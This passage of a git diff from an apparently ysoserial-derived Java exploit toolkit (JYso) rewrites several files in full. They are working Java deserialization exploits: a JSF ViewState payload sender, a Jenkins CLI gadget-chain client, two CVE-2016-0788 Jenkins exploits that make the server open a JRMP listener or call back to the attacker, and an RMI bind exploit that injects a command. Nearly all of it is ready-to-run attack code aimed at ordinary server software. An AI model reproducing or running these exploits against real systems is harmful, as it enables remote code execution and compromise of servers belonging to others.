+ * Also, it turns out that MyFaces is vulnerable to this even when + * using server-side state saving + * (yes, please, let's (de-)serialize a String as an Object). + * + * @author mbechler + */ +public class JSF { + + public static void main(String[] args) { + + if (args.length < 3) { + System.err.println(JSF.class.getName() + " "); + System.exit(-1); + } + + try { + URL u = new URL(args[0]); + + // 去除前两个参数 + String[] newArray = new String[args.length - 1]; + System.arraycopy(args, 1, newArray, 0, newArray.length); + + ysoserial.run(newArray); + Object payloadObject = ysoserial.PAYLOAD; + + URLConnection c = u.openConnection(); + if (!(c instanceof HttpURLConnection)) { + throw new IllegalArgumentException("Not a HTTP url"); + } + + HttpURLConnection hc = (HttpURLConnection) c; + hc.setDoOutput(true); + hc.setRequestMethod("POST"); + hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); + OutputStream os = hc.getOutputStream(); + + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(bos); + oos.writeObject(payloadObject); + oos.close(); + byte[] data = bos.toByteArray(); + String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII"); + os.write(requestBody.getBytes(StandardCharsets.US_ASCII)); + os.close(); + + System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage()); + } catch (Exception e) { + e.printStackTrace(System.err); + } + } + + +} diff --git a/src/main/java/com/qi4l/JYso/exploit/JenkinsCLI.java b/src/main/java/com/qi4l/JYso/exploit/JenkinsCLI.java index eaba19e..b1a816b 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JenkinsCLI.java +++ b/src/main/java/com/qi4l/JYso/exploit/JenkinsCLI.java @@ -1,119 +1,119 @@ -package com.qi4l.JYso.exploit; - -import com.qi4l.JYso.gadgets.Config.ysoserial; -import com.qi4l.JYso.gadgets.utils.Reflections; -import hudson.remoting.Callable; -import hudson.remoting.Channel; -import hudson.remoting.Channel.Mode; -import hudson.remoting.ChannelBuilder; -import org.apache.logging.log4j.Logger; -import org.apache.logging.log4j.LogManager; - -import javax.net.SocketFactory; -import java.io.DataOutputStream; -import java.io.IOException; -import java.io.OutputStream; -import java.lang.reflect.Constructor; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.net.*; -import java.util.concurrent.ExecutorService; -import java.util.concurrent.Executors; - -/** - * Jenkins CLI client - *

- * Jenkins unfortunately is still using a custom serialization based - * protocol for remote communications only protected by a blacklisting - * application level filter. - *

- * This is a generic client delivering a gadget chain payload via that protocol. - * - * @author mbechler - */ -public class JenkinsCLI { - - private static final Logger log = LogManager.getLogger(JenkinsCLI.class); - - public static void main(final String[] args) throws Exception { - if (args.length < 5) { - System.err.println(JenkinsCLI.class.getName() + " "); - System.exit(-1); - } - - String jenkinsUrl = args[0]; - // 去除前一个参数 - String[] newArray = new String[args.length - 1]; - System.arraycopy(args, 1, newArray, 0, newArray.length); - - ysoserial.run(newArray); - Object payloadObject = ysoserial.PAYLOAD; - - Channel c = null; - try { - InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); - c = JenkinsCLI.openChannel(isa); - c.call(getPropertyCallable(payloadObject)); - } catch (Throwable e) { - log.error(String.valueOf(e)); - } finally { - if (c != null) { - try { - c.close(); - } catch (IOException e) { - e.printStackTrace(System.err); - } - } - } - } - - public static Callable getPropertyCallable(final Object prop) - throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { - Class reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); - Constructor reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); - Reflections.setAccessible(reqCons); - Object getJarLoader = reqCons - .newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[]{ - prop - }); - return (Callable) getJarLoader; - } - - public static InetSocketAddress getCliPort(String jenkinsUrl) throws IOException { - URL u = new URL(jenkinsUrl); - - URLConnection conn = u.openConnection(); - if (!(conn instanceof HttpURLConnection)) { - System.err.println("Not a HTTP URL"); - throw new MalformedURLException(); - } - - HttpURLConnection hc = (HttpURLConnection) conn; - if (hc.getResponseCode() >= 400) { - System.err.println("* Error connection to jenkins HTTP " + u); - } - int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port")); - - return new InetSocketAddress(u.getHost(), clip); - } - - public static Channel openChannel(InetSocketAddress isa) throws IOException { - System.err.println("* Opening socket " + isa); - Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); - s.setKeepAlive(true); - s.setTcpNoDelay(true); - - System.err.println("* Opening channel"); - OutputStream outputStream = s.getOutputStream(); - DataOutputStream dos = new DataOutputStream(outputStream); - dos.writeUTF("Protocol:CLI-connect"); - ExecutorService cp = Executors.newCachedThreadPool(r -> { - Thread t = new Thread(r, "Channel"); - t.setDaemon(true); - return t; - }); - Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream); - System.err.println("* Channel open"); - return c; - } -} +package com.qi4l.JYso.exploit; + +import com.qi4l.JYso.gadgets.Config.ysoserial; +import com.qi4l.JYso.gadgets.utils.Reflections; +import hudson.remoting.Callable; +import hudson.remoting.Channel; +import hudson.remoting.Channel.Mode; +import hudson.remoting.ChannelBuilder; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; + +import javax.net.SocketFactory; +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.OutputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.net.*; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; + +/** + * Jenkins CLI client + *

+ * Jenkins unfortunately is still using a custom serialization based + * protocol for remote communications only protected by a blacklisting + * application level filter. + *

+ * This is a generic client delivering a gadget chain payload via that protocol. + * + * @author mbechler + */ +public class JenkinsCLI { + + private static final Logger log = LogManager.getLogger(JenkinsCLI.class); + + public static void main(final String[] args) throws Exception { + if (args.length < 5) { + System.err.println(JenkinsCLI.class.getName() + " "); + System.exit(-1); + } + + String jenkinsUrl = args[0]; + // 去除前一个参数 + String[] newArray = new String[args.length - 1]; + System.arraycopy(args, 1, newArray, 0, newArray.length); + + ysoserial.run(newArray); + Object payloadObject = ysoserial.PAYLOAD; + + Channel c = null; + try { + InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); + c = JenkinsCLI.openChannel(isa); + c.call(getPropertyCallable(payloadObject)); + } catch (Throwable e) { + log.error(String.valueOf(e)); + } finally { + if (c != null) { + try { + c.close(); + } catch (IOException e) { + e.printStackTrace(System.err); + } + } + } + } + + public static Callable getPropertyCallable(final Object prop) + throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + Class reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); + Constructor reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); + Reflections.setAccessible(reqCons); + Object getJarLoader = reqCons + .newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[]{ + prop + }); + return (Callable) getJarLoader; + } + + public static InetSocketAddress getCliPort(String jenkinsUrl) throws IOException { + URL u = new URL(jenkinsUrl); + + URLConnection conn = u.openConnection(); + if (!(conn instanceof HttpURLConnection)) { + System.err.println("Not a HTTP URL"); + throw new MalformedURLException(); + } + + HttpURLConnection hc = (HttpURLConnection) conn; + if (hc.getResponseCode() >= 400) { + System.err.println("* Error connection to jenkins HTTP " + u); + } + int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port")); + + return new InetSocketAddress(u.getHost(), clip); + } + + public static Channel openChannel(InetSocketAddress isa) throws IOException { + System.err.println("* Opening socket " + isa); + Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); + s.setKeepAlive(true); + s.setTcpNoDelay(true); + + System.err.println("* Opening channel"); + OutputStream outputStream = s.getOutputStream(); + DataOutputStream dos = new DataOutputStream(outputStream); + dos.writeUTF("Protocol:CLI-connect"); + ExecutorService cp = Executors.newCachedThreadPool(r -> { + Thread t = new Thread(r, "Channel"); + t.setDaemon(true); + return t; + }); + Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream); + System.err.println("* Channel open"); + return c; + } +} diff --git a/src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java b/src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java index dc47953..a68d3d2 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java +++ b/src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java @@ -1,202 +1,200 @@ -package com.qi4l.JYso.exploit; - -import com.qi4l.JYso.gadgets.Config.ysoserial; -import com.qi4l.JYso.gadgets.JRMPListener; -import com.qi4l.JYso.gadgets.utils.Reflections; -import hudson.remoting.Callable; -import hudson.remoting.Channel; -import hudson.remoting.JarLoader; -import org.apache.logging.log4j.Logger; -import org.apache.logging.log4j.LogManager; -import sun.rmi.server.Util; -import sun.rmi.transport.TransportConstants; - -import javax.net.SocketFactory; -import java.io.DataOutputStream; -import java.io.IOException; -import java.io.ObjectOutputStream; -import java.io.OutputStream; -import java.lang.reflect.*; -import java.net.InetSocketAddress; -import java.net.Socket; -import java.rmi.activation.ActivationDesc; -import java.rmi.activation.ActivationID; -import java.rmi.activation.ActivationInstantiator; - - -/** - * CVE-2016-0788 exploit (1) - *

- * 1. delivers a com.qi4l.JYso.exploit.JRMPListener payload to jenkins via it's remoting protocol. - * 2. that payload causes the remote server to open up an JRMP listener (and export an object). - * 3. connect to that JRMP listener and deliver any otherwise blacklisted payload. - *

- * Extra twist: - * The well-known objects exported by the listener use the system classloader which usually - * won't contain the targeted classes. Therefor we need to get ahold of the exported object's id - * (which is using jenkins' classloader) that typically is properly randomized. - * Fortunately - for the exploiting party - there is also a gadget that allows to leak - * that identifier via an exception. - * - * @author mbechler - */ -@SuppressWarnings({ - "restriction" -}) -public class JenkinsListener { - - private static final Logger log = LogManager.getLogger(JenkinsListener.class); - - public static void main(final String[] args) { - - if (args.length < 5) { - System.err.println(JenkinsListener.class.getName() + " "); - System.exit(-1); - } - - String jenkinsUrl = args[0]; - int jrmpPort = 12345; - - Channel c = null; - try { - InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); - c = JenkinsCLI.openChannel(isa); - - Object call = c.call(JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours")); - InvocationHandler remote = Proxy.getInvocationHandler(call); - int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote); - - System.err.println("* JarLoader oid is " + oid); - - Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort)); - - Class reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); - - Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass); - - try { - c.call((Callable) o); - } catch (Exception e) { - // [ActivationGroupImpl[UnicastServerRef [liveRef: - // [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1, - // -9046794842107247609]] - - System.err.println(e.getMessage()); - - parseObjIdAndExploit(args, jrmpPort, isa, e); - } - - } catch (Throwable e) { - log.error(String.valueOf(e)); - } finally { - if (c != null) { - try { - c.close(); - } catch (IOException e) { - e.printStackTrace(System.err); - } - } - } - - } - - - private static Object makeIsPresentOnRemoteCallable(int oid, Object uro, Class reqClass) - throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException { - Constructor reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); - Reflections.setAccessible(reqCons); - return reqCons - .newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[]{ - uro, - }); - } - - - private static void parseObjIdAndExploit(final String[] args, int jrmpPort, InetSocketAddress isa, Exception e) throws Exception { - String msg = e.getMessage(); - int start = msg.indexOf("objID:["); - if (start < 0) { - throw new Exception("Failed to get object id"); - } - - int sep = msg.indexOf(", ", start + 1); - - if (sep < 0) { - throw new Exception("Failed to get object id, separator"); - } - - int end = msg.indexOf("]", sep + 1); - - if (end < 0) { - throw new Exception("Failed to get object id, separator"); - } - - String uid = msg.substring(start + 7, sep); - String objNum = msg.substring(sep + 2, end); - - System.err.println("* UID is " + uid); - System.err.println("* ObjNum is " + objNum); - - String[] parts = uid.split(":"); - - long obj = Long.parseLong(objNum); - int o1 = Integer.parseInt(parts[0], 16); - long o2 = Long.parseLong(parts[1], 16); - short o3 = Short.parseShort(parts[2], 16); - - exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, args); - } - - - private static void exploit(InetSocketAddress isa, long obj, int o1, long o2, short o3, String[] args) - throws IOException { - Socket s = null; - DataOutputStream dos = null; - try { - System.err.println("* Opening JRMP socket " + isa); - s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); - s.setKeepAlive(true); - s.setTcpNoDelay(true); - - OutputStream os = s.getOutputStream(); - dos = new DataOutputStream(os); - - dos.writeInt(TransportConstants.Magic); - dos.writeShort(TransportConstants.Version); - dos.writeByte(TransportConstants.SingleOpProtocol); - - dos.write(TransportConstants.Call); - - final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos); - - objOut.writeLong(obj); - objOut.writeInt(o1); - objOut.writeLong(o2); - objOut.writeShort(o3); - - objOut.writeInt(-1); - objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class))); - - // 去除前两个参数 - String[] newArray = new String[args.length - 2]; - System.arraycopy(args, 2, newArray, 0, newArray.length); - - ysoserial.run(newArray); - Object payloadObject = ysoserial.PAYLOAD; - - objOut.writeObject(payloadObject); - os.flush(); - } catch (Exception e) { - e.printStackTrace(System.err); - } finally { - if (dos != null) { - dos.close(); - } - if (s != null) { - s.close(); - } - } - } - - -} +package com.qi4l.JYso.exploit; + +import com.qi4l.JYso.gadgets.Config.ysoserial; +import com.qi4l.JYso.gadgets.JRMPListener; +import com.qi4l.JYso.gadgets.utils.Reflections; +import hudson.remoting.Callable; +import hudson.remoting.Channel; +import hudson.remoting.JarLoader; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; +import sun.rmi.server.Util; +import sun.rmi.transport.TransportConstants; + +import javax.net.SocketFactory; +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.lang.reflect.*; +import java.net.InetSocketAddress; +import java.net.Socket; +import java.rmi.activation.ActivationDesc; +import java.rmi.activation.ActivationID; +import java.rmi.activation.ActivationInstantiator; + + +/** + * CVE-2016-0788 exploit (1) + *

+ * 1. delivers a com.qi4l.JYso.exploit.JRMPListener payload to jenkins via it's remoting protocol. + * 2. that payload causes the remote server to open up an JRMP listener (and export an object). + * 3. connect to that JRMP listener and deliver any otherwise blacklisted payload. + *

+ * Extra twist: + * The well-known objects exported by the listener use the system classloader which usually + * won't contain the targeted classes. Therefor we need to get ahold of the exported object's id + * (which is using jenkins' classloader) that typically is properly randomized. + * Fortunately - for the exploiting party - there is also a gadget that allows to leak + * that identifier via an exception. + * + * @author mbechler + */ +@SuppressWarnings({ + "restriction" +}) +public class JenkinsListener { + + private static final Logger log = LogManager.getLogger(JenkinsListener.class); + + public static void main(final String[] args) { + + if (args.length < 5) { + System.err.println(JenkinsListener.class.getName() + " "); + System.exit(-1); + } + + String jenkinsUrl = args[0]; + int jrmpPort = 12345; + + Channel c = null; + try { + InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); + c = JenkinsCLI.openChannel(isa); + + Object call = c.call(JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours")); + InvocationHandler remote = Proxy.getInvocationHandler(call); + int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote); + + System.err.println("* JarLoader oid is " + oid); + + Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort)); + + Class reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); + + Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass); + + try { + c.call((Callable) o); + } catch (Exception e) { + // [ActivationGroupImpl[UnicastServerRef [liveRef: + // [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1, + // -9046794842107247609]] + + System.err.println(e.getMessage()); + + parseObjIdAndExploit(args, jrmpPort, isa, e); + } + + } catch (Throwable e) { + log.error(String.valueOf(e)); + } finally { + if (c != null) { + try { + c.close(); + } catch (IOException e) { + e.printStackTrace(System.err); + } + } + } + + } + + + private static Object makeIsPresentOnRemoteCallable(int oid, Object uro, Class reqClass) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException { + Constructor reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); + Reflections.setAccessible(reqCons); + return reqCons + .newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[]{ + uro, + }); + } + + + private static void parseObjIdAndExploit(final String[] args, int jrmpPort, InetSocketAddress isa, Exception e) throws Exception { + String msg = e.getMessage(); + int start = msg.indexOf("objID:["); + if (start < 0) { + throw new Exception("Failed to get object id"); + } + + int sep = msg.indexOf(", ", start + 1); + + if (sep < 0) { + throw new Exception("Failed to get object id, separator"); + } + + int end = msg.indexOf("]", sep + 1); + + if (end < 0) { + throw new Exception("Failed to get object id, separator"); + } + + String uid = msg.substring(start + 7, sep); + String objNum = msg.substring(sep + 2, end); + + System.err.println("* UID is " + uid); + System.err.println("* ObjNum is " + objNum); + + String[] parts = uid.split(":"); + + long obj = Long.parseLong(objNum); + int o1 = Integer.parseInt(parts[0], 16); + long o2 = Long.parseLong(parts[1], 16); + short o3 = Short.parseShort(parts[2], 16); + + exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, args); + } + + + private static void exploit(InetSocketAddress isa, long obj, int o1, long o2, short o3, String[] args) + throws IOException { + Socket s = null; + DataOutputStream dos = null; + try { + System.err.println("* Opening JRMP socket " + isa); + s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); + s.setKeepAlive(true); + s.setTcpNoDelay(true); + + OutputStream os = s.getOutputStream(); + dos = new DataOutputStream(os); + + dos.writeInt(TransportConstants.Magic); + dos.writeShort(TransportConstants.Version); + dos.writeByte(TransportConstants.SingleOpProtocol); + + dos.write(TransportConstants.Call); + + final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos); + + objOut.writeLong(obj); + objOut.writeInt(o1); + objOut.writeLong(o2); + objOut.writeShort(o3); + + objOut.writeInt(-1); + objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class))); + + // 去除前两个参数 + String[] newArray = new String[args.length - 2]; + System.arraycopy(args, 2, newArray, 0, newArray.length); + + ysoserial.run(newArray); + Object payloadObject = ysoserial.PAYLOAD; + + objOut.writeObject(payloadObject); + os.flush(); + } catch (Exception e) { + e.printStackTrace(System.err); + } finally { + if (dos != null) { + dos.close(); + } + if (s != null) { + s.close(); + } + } + } +} diff --git a/src/main/java/com/qi4l/JYso/exploit/JenkinsReverse.java b/src/main/java/com/qi4l/JYso/exploit/JenkinsReverse.java index 92528c2..b7b9329 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JenkinsReverse.java +++ b/src/main/java/com/qi4l/JYso/exploit/JenkinsReverse.java @@ -1,79 +1,79 @@ -package com.qi4l.JYso.exploit; - -import com.qi4l.JYso.gadgets.Config.ysoserial; -import com.qi4l.JYso.gadgets.JRMPClient; -import hudson.remoting.Channel; -import org.apache.logging.log4j.Logger; -import org.apache.logging.log4j.LogManager; - -import java.io.IOException; -import java.net.InetSocketAddress; -import java.rmi.registry.Registry; -import java.util.Random; - -/** - * CVE-2016-0788 exploit (2) - *

- * - Sets up a local {@link JRMPListener} - * - Delivers a {@link com.qi4l.JYso.exploit.JRMPClient} payload via the CLI protocol - * that will cause the remote to open a JRMP connection to our listener - * - upon connection the specified payload will be delivered to the remote - * (that will deserialize using a default ObjectInputStream) - * - * @author mbechler - */ -public class JenkinsReverse { - - private static final Logger log = LogManager.getLogger(JenkinsReverse.class); - - public static void main(final String[] args) throws Exception { - if (args.length < 4) { - System.err.println(JenkinsListener.class.getName() + " "); - System.exit(-1); - } - - // 去除前两个参数 - String[] newArray = new String[args.length - 2]; - System.arraycopy(args, 2, newArray, 0, newArray.length); - - ysoserial.run(newArray); - final Object payloadObject = ysoserial.PAYLOAD; - String myAddr = args[1]; - int jrmpPort = new Random().nextInt(65536 - 1024) + 1024; - String jenkinsUrl = args[0]; - - Thread t = null; - Channel c = null; - try { - InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); - c = JenkinsCLI.openChannel(isa); - JRMPListener listener = new JRMPListener(jrmpPort, payloadObject); - t = new Thread(listener, "ReverseDGC"); - t.setDaemon(true); - t.start(); - Registry payload = (Registry) new JRMPClient().getObject(myAddr + ":" + jrmpPort); - c.call(JenkinsCLI.getPropertyCallable(payload)); - listener.waitFor(1000); - listener.close(); - } catch (Throwable e) { - log.error(String.valueOf(e)); - } finally { - if (c != null) { - try { - c.close(); - } catch (IOException e) { - e.printStackTrace(System.err); - } - } - - if (t != null) { - t.interrupt(); - try { - t.join(); - } catch (InterruptedException e) { - e.printStackTrace(System.err); - } - } - } - } -} +package com.qi4l.JYso.exploit; + +import com.qi4l.JYso.gadgets.Config.ysoserial; +import com.qi4l.JYso.gadgets.JRMPClient; +import hudson.remoting.Channel; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; + +import java.io.IOException; +import java.net.InetSocketAddress; +import java.rmi.registry.Registry; +import java.util.Random; + +/** + * CVE-2016-0788 exploit (2) + *

+ * - Sets up a local {@link JRMPListener} + * - Delivers a {@link com.qi4l.JYso.exploit.JRMPClient} payload via the CLI protocol + * that will cause the remote to open a JRMP connection to our listener + * - upon connection the specified payload will be delivered to the remote + * (that will deserialize using a default ObjectInputStream) + * + * @author mbechler + */ +public class JenkinsReverse { + + private static final Logger log = LogManager.getLogger(JenkinsReverse.class); + + public static void main(final String[] args) throws Exception { + if (args.length < 4) { + System.err.println(JenkinsListener.class.getName() + " "); + System.exit(-1); + } + + // 去除前两个参数 + String[] newArray = new String[args.length - 2]; + System.arraycopy(args, 2, newArray, 0, newArray.length); + + ysoserial.run(newArray); + final Object payloadObject = ysoserial.PAYLOAD; + String myAddr = args[1]; + int jrmpPort = new Random().nextInt(65536 - 1024) + 1024; + String jenkinsUrl = args[0]; + + Thread t = null; + Channel c = null; + try { + InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); + c = JenkinsCLI.openChannel(isa); + JRMPListener listener = new JRMPListener(jrmpPort, payloadObject); + t = new Thread(listener, "ReverseDGC"); + t.setDaemon(true); + t.start(); + Registry payload = (Registry) new JRMPClient().getObject(myAddr + ":" + jrmpPort); + c.call(JenkinsCLI.getPropertyCallable(payload)); + listener.waitFor(1000); + listener.close(); + } catch (Throwable e) { + log.error(String.valueOf(e)); + } finally { + if (c != null) { + try { + c.close(); + } catch (IOException e) { + e.printStackTrace(System.err); + } + } + + if (t != null) { + t.interrupt(); + try { + t.join(); + } catch (InterruptedException e) { + e.printStackTrace(System.err); + } + } + } + } +} diff --git a/src/main/java/com/qi4l/JYso/exploit/RMIBindExploit.java b/src/main/java/com/qi4l/JYso/exploit/RMIBindExploit.java index 48f0db7..74c9aee 100644 --- a/src/main/java/com/qi4l/JYso/exploit/RMIBindExploit.java +++ b/src/main/java/com/qi4l/JYso/exploit/RMIBindExploit.java @@ -1,111 +1,111 @@ -package com.qi4l.JYso.exploit; - -import com.qi4l.JYso.gadgets.utils.Reflections; -import com.sun.security.auth.UnixPrincipal; -import sun.rmi.transport.StreamRemoteCall; -import sun.rmi.transport.tcp.TCPEndpoint; - -import javax.management.remote.rmi.RMIConnection; -import javax.security.auth.Subject; -import java.io.IOException; -import java.io.ObjectInput; -import java.io.ObjectOutput; -import java.lang.reflect.Field; -import java.rmi.*; -import java.rmi.registry.LocateRegistry; -import java.rmi.registry.Registry; -import java.rmi.server.Operation; -import java.rmi.server.RemoteObject; -import java.rmi.server.RemoteRef; -import java.util.*; -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -public class RMIBindExploit { - - - public static void main(String[] args) throws Exception { - - if (args.length < 4) { - System.err.println(JRMPClient.class.getName() + " "); - System.exit(-1); - } - - String host = args[0]; - int registryPort = Integer.parseInt(args[1]); - String command = args[2]; - String serviceName = args[3]; - - Registry registry = LocateRegistry.getRegistry(host, registryPort); - System.out.println(Arrays.toString(registry.list())); - - Subject subject = new Subject(); - - Set set = new HashSet(); - set.add(new UnixPrincipal(command)); - Reflections.setFieldValue(subject, "principals", set); - - - RMIClient r = new RMIClient(); - r.ref = (RemoteRef) Reflections.getFieldValue(registry, "ref"); - r.ip = host; - - - System.out.println(((RMIConnection) r.lookup(serviceName)).getDefaultDomain(subject)); - } - - static class RMIClient extends RemoteObject { - - private final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")}; - - private RemoteRef ref = null; - - private String ip = null; - - public Remote lookup(String var1) throws NotBoundException, RemoteException { - try { - StreamRemoteCall var2 = (StreamRemoteCall) this.ref.newCall(this, operations, 2, 4905912898345647071L); - - try { - ObjectOutput var3 = var2.getOutputStream(); - var3.writeObject(var1); - } catch (IOException var15) { - throw new MarshalException("error marshalling arguments", var15); - } - - this.ref.invoke(var2); - - Remote var20; - try { - ObjectInput var4 = var2.getInputStream(); - var20 = (Remote) var4.readObject(); - - Field f = var2.getClass().getDeclaredField("in"); - f.setAccessible(true); - Object conn = f.get(var2); - - f = conn.getClass().getDeclaredField("incomingRefTable"); - f.setAccessible(true); - - HashMap rets = (HashMap) f.get(conn); - - Map.Entry entry = (Map.Entry) rets.entrySet().iterator().next(); - - f = entry.getKey().getClass().getDeclaredField("host"); - f.setAccessible(true); - f.set(entry.getKey(), this.ip); - } catch (Exception var13) { -// var2.discardPendingRefs(); - throw new UnmarshalException("error unmarshalling return", var13); - } finally { - this.ref.done(var2); - } - - return var20; - } catch (RuntimeException | NotBoundException | RemoteException var16) { - throw var16; - } catch (Exception var19) { - throw new UnexpectedException("undeclared checked exception", var19); - } - } - } - -} +package com.qi4l.JYso.exploit; + +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.sun.security.auth.UnixPrincipal; +import sun.rmi.transport.StreamRemoteCall; +import sun.rmi.transport.tcp.TCPEndpoint; + +import javax.management.remote.rmi.RMIConnection; +import javax.security.auth.Subject; +import java.io.IOException; +import java.io.ObjectInput; +import java.io.ObjectOutput; +import java.lang.reflect.Field; +import java.rmi.*; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; +import java.rmi.server.Operation; +import java.rmi.server.RemoteObject; +import java.rmi.server.RemoteRef; +import java.util.*; +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +public class RMIBindExploit { + + + public static void main(String[] args) throws Exception { + + if (args.length < 4) { + System.err.println(JRMPClient.class.getName() + " "); + System.exit(-1); + } + + String host = args[0]; + int registryPort = Integer.parseInt(args[1]); + String command = args[2]; + String serviceName = args[3]; + + Registry registry = LocateRegistry.getRegistry(host, registryPort); + System.out.println(Arrays.toString(registry.list())); + + Subject subject = new Subject(); + + Set set = new HashSet(); + set.add(new UnixPrincipal(command)); + Reflections.setFieldValue(subject, "principals", set); + + + RMIClient r = new RMIClient(); + r.ref = (RemoteRef) Reflections.getFieldValue(registry, "ref"); + r.ip = host; + + + System.out.println(((RMIConnection) r.lookup(serviceName)).getDefaultDomain(subject)); + } + + static class RMIClient extends RemoteObject { + + private final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")}; + + private RemoteRef ref = null; + + private String ip = null; + + public Remote lookup(String var1) throws NotBoundException, RemoteException { + try { + StreamRemoteCall var2 = (StreamRemoteCall) this.ref.newCall(this, operations, 2, 4905912898345647071L); + + try { + ObjectOutput var3 = var2.getOutputStream(); + var3.writeObject(var1); + } catch (IOException var15) { + throw new MarshalException("error marshalling arguments", var15); + } + + this.ref.invoke(var2); + + Remote var20; + try { + ObjectInput var4 = var2.getInputStream(); + var20 = (Remote) var4.readObject(); + + Field f = var2.getClass().getDeclaredField("in"); + f.setAccessible(true); + Object conn = f.get(var2); + + f = conn.getClass().getDeclaredField("incomingRefTable"); + f.setAccessible(true); + + HashMap rets = (HashMap) f.get(conn); + + Map.Entry entry = (Map.Entry) rets.entrySet().iterator().next(); + + f = entry.getKey().getClass().getDeclaredField("host"); + f.setAccessible(true); + f.set(entry.getKey(), this.ip); + } catch (Exception var13) { +// var2.discardPendingRefs(); + throw new UnmarshalException("error unmarshalling return", var13); + } finally { + this.ref.done(var2); + } + + return var20; + } catch (RuntimeException | NotBoundException | RemoteException var16) { + throw var16; + } catch (Exception var19) { + throw new UnexpectedException("undeclared checked exception", var19); + } + } + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver.java b/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver.java index c6e03cc..aae7a68 100644 --- 